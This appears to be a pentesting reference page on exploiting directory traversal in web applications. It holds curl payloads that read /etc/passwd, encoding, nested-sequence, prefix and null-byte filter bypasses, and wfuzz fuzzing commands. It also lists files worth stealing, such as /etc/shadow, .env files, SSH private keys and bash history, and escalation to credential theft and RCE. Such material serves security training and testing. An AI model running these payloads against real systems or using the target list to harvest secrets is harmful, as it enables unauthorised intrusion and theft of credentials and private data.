Skip to content

Directory Traversal

5 min read Created Sep 14, 2026 Last updated Sep 14, 2026

Directory traversal exploitation reads arbitrary files from the server filesystem by manipulating path parameters beyond the intended directory. Start with directory traversal detection to confirm the vulnerability exists. Unlike local file inclusion, traversal reads raw file contents without executing them through an interpreter , it is language-agnostic and works in any application that passes user input into a filesystem read operation.

Relative Path Traversal

Relative traversal steps out of the intended directory using ../ sequences. The filesystem stops at the root, so using more sequences than needed does not cause errors. Start deep and adjust.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=/etc/passwd"

Some applications strip ../ sequences but accept absolute paths directly. Try both approaches.

Common Target Files

After confirming the traversal works with /etc/passwd, move to high-value targets based on the application stack.

Linux:

  • /etc/passwd: user accounts, confirms traversal works

  • /etc/shadow: password hashes (requires root read permission)

  • /etc/hosts: internal hostnames and IP ranges

  • /proc/self/environ: environment variables, may contain secrets

  • /proc/self/cmdline: process command line arguments

  • /var/www/html/.env: Laravel / app credentials

  • /var/www/html/config.php: PHP app DB credentials

  • /home/$USER/.ssh/id_rsa: SSH private key if accessible

  • /home/$USER/.bash_history: command history with credentials

  • /var/log/apache2/access.log: Apache access log, useful for log poisoning

  • /var/log/nginx/access.log: Nginx access log

Windows:

  • C:\Windows\System32\drivers\etc\hosts: hosts file

  • C:\inetpub\wwwroot\web.config: IIS config with credentials

  • C:\Windows\win.ini: classic Windows traversal confirmation file

Bypass Techniques

Applications often try to block traversal by stripping ../ or validating the path prefix. Several bypass patterns work against naive filters.

URL Encoding

Encode the dot or slash characters so the filter does not recognise the traversal sequence but the server decodes them before the filesystem call.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=..%2F..%2F..%2Fetc%2Fpasswd"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=..%252F..%252F..%252Fetc%252Fpasswd"

Double-encoding (%25 = %) bypasses filters that URL-decode once before checking but let the server decode twice.

Nested Traversal Sequences

If the filter removes ../ but does not loop, a nested sequence collapses to the intended payload after one pass of stripping.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=....//....//....//etc/passwd"

Stripping ../ once from ....// yields ../ — the traversal sequence survives.

Path Prefix Bypass

Some applications require the path to start with a specific prefix like /var/www/images/. Supply the required prefix and traverse out of it.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=/var/www/images/../../../etc/passwd"

Null Byte Truncation

In older PHP and C-based applications, a null byte (%00) terminates the string. If the application appends a fixed extension, a null byte truncates it before the filesystem call.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/download?file=../../../../etc/passwd%00.jpg"

PHP 5.3 and below is vulnerable. PHP 5.4+ and most modern runtimes are not. Still worth trying on older apps.

Fuzzing with Wfuzz

When manual traversal is blocked, fuzz with a payload list to find the sequence depth and encoding that bypasses the filter.

┌──(kali㉿kali)-[~]
└─$ wfuzz -c -z range,1-10 --hl 0 -u "http://$TARGET_IP:$PORT/download?file=FUZZ" -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
Explain command
-c Coloured output.
-z range,1-10 Iterate over a range — unused here, replace with payload list.
--hl 0 Hide responses with 0 lines (empty responses).
-u Target URL with FUZZ placeholder.
┌──(kali㉿kali)-[~]
└─$ wfuzz -c --hc 404,400 -u "http://$TARGET_IP:$PORT/download?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
Explain command
--hc 404,400 Hide 404 and 400 responses — non-matching traversal attempts.

Directory Listing

Some applications expose directory contents when the path parameter resolves to a directory rather than a file. This occurs when the application passes the value to a directory listing function or when a web server auto-index is enabled and the traversal reaches a browseable directory.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/browse?dir=../../../../var/www/"

If the response returns a list of filenames rather than an error, directory listing is enabled. Identify application files, config files, and backup files to read next.

Escalation Paths

Traversal alone reads files. The impact depends on what files are accessible and what the application does with user-supplied input beyond reading. Common escalation paths from a confirmed traversal vulnerability:

  • Source code disclosure: read application files to find hardcoded credentials, secrets, or additional vulnerabilities.

  • Credential theft: read .env, config.php, database.yml, or wp-config.php for database or API credentials.

  • SSH key theft: read /home/$USER/.ssh/id_rsa and use the key to log in directly.

  • Log poisoning to RCE: if the application also has LFI (file inclusion with execution), use traversal to confirm the log path, then poison logs and include them. See LFI to RCE.

References